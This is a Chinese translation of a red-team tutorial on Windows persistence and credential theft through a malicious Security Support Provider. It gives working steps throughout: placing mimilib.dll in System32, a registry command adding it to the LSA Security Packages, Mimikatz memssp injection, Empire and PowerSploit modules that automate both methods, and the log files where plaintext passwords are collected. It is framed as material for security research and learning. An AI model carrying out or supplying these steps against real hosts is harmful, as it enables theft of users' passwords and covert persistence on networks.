安全支持提供程序(SSP)是Windows API,用於擴展Windows身份驗證機制。LSASS進程正在Windows啟動期間加載安全支持提供程序DLL。這種行為使紅隊的攻擊者可以刪除一個任意的SSP DLL以便與LSASS進程進行交互並記錄該進程中存儲的所有密碼,或者直接用惡意的SSP對該進程進行修補而無需接觸磁盤。
該技術可用於收集一個系統或多個系統中的憑據,並將這些憑據與另一個協議(例如RDP,WMI等)結合使用,以免干擾檢測,從而在網絡中保持持久性。向主機注入惡意安全支持提供程序需要管理員級別的特權,並且可以使用兩種方法:
-
- 注冊SSP DLL
- 加載到內存
Mimikatz,Empire和PowerSploit支持這兩種方法,可以在紅隊操作中使用。
Mimikatz
項目Mimikatz提供了一個DLL文件(mimilib.dll),可以將其放到與LSASS進程(System32)相同的位置,以便為訪問受感染主機的任何用戶獲得純文本憑據。
C:\Windows\System32\
將文件傳輸到上述位置后,需要修改注冊表項以包括新的安全支持提供程序mimilib。
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

SSP – mimilib注冊表
查看“安全軟件包”注冊表項將驗證是否已注入惡意安全支持提供程序。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages

注冊表–安全軟件包
由於注冊表已被篡改並且DLL存儲在系統中,因此該方法將在重新啟動后繼續存在。當域用戶再次通過系統進行身份驗證時,將創建一個名為kiwissp的新文件,該文件將記錄帳戶的憑據。
C:\Windows\System32\kiwissp.log

Mimikatz – kiwissp
另外,Mimikatz通過向LSASS注入新的安全支持提供程序(SSP)來支持內存技術選項。此技術不需要將mimilib.dll放入磁盤或創建注冊表項。但是,缺點是在重新啟動過程中不會持續存在。
privilege::debug
misc::memssp

Mimikatz –內存中的SSP
當用戶再次通過系統進行身份驗證時,將在System32中創建一個日志文件,其中將包含純文本用戶密碼。
C:\Windows\System32\mimilsa.log

Mimikatz – mimilsa
Empire
Empire提供了兩個模塊,可用於枚舉現有的SSP並在目標系統上安裝惡意的SSP。默認情況下,枚舉模塊將使用活動代理,並且不需要任何其他配置。
usemodule persistence/misc/get_ssps
execute

Empire – SSP 枚舉
同樣,直接查詢注冊表可以獲取存在的SSP的值。
shell reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

注冊表SSP的枚舉注冊表
將惡意安全支持提供程序復制到System32並更新注冊表項將結束該技術。
shell copy mimilib.dll C:\Windows\System32\

將mimilib.dll復制到System32
由於Empire包含一個模塊,該過程可以自動進行,該模塊將自動將DLL文件復制到System32並創建注冊表項。唯一的要求是在主機上設置mimilib.dll文件的路徑。
usemodule persistence/misc/install_ssp*
set Path C:\Users\Administrator\mimilib.dll
execute


Empire SSP安裝
Empire還支持可以執行自定義Mimikatz命令的腳本。
usemodule credentials/mimikatz/command
set Command misc::memssp
execute


Mimikatz – SSP命令
Empire還支持在進程的內存中注入惡意SSP。下面的模塊將調用Mimikatz腳本並直接執行memssp命令,作為使該技術自動化的另一種方法。
usemodule persistence/misc/memssp*
execute

Empire – memssp
PowerSploit
PowerSploit包含兩個可以執行相同任務的腳本。在Mimikatz的PowerShell變體“ Invoke-Mimikatz ”中,執行以下命令將使用內存中技術。
Import-Module .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command "misc::memssp"

PowerSploit – Mimikatz SSP
或者,將惡意的SSP DDL文件傳輸到目標主機並使用模塊Install-SSP將DLL復制到System32,並將自動修改相關的注冊表項。
Import-Module .\PowerSploit.psm1
Install-SSP -Path .\mimilib.dll


PowerSploit –安裝SSP
SharpSploitConsole
Mimikatz已集成到SharpSploitConsole中,該應用程序旨在與Ryan Cobb發布的SharpSploit進行交互。SharpSploit是一個.NET后期開發庫,具有與PowerSploit類似的功能。當前,SharpSploitConsole通過Mimikatz模塊支持內存技術。
SharpSploitConsole_x64.exe Interact
Mimi-Command misc::memssp
SharpSploitConsole – memssp
譯文聲明:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。
原文地址:https://pentestlab.blog/2019/10/21/persistence-security-support-provider/

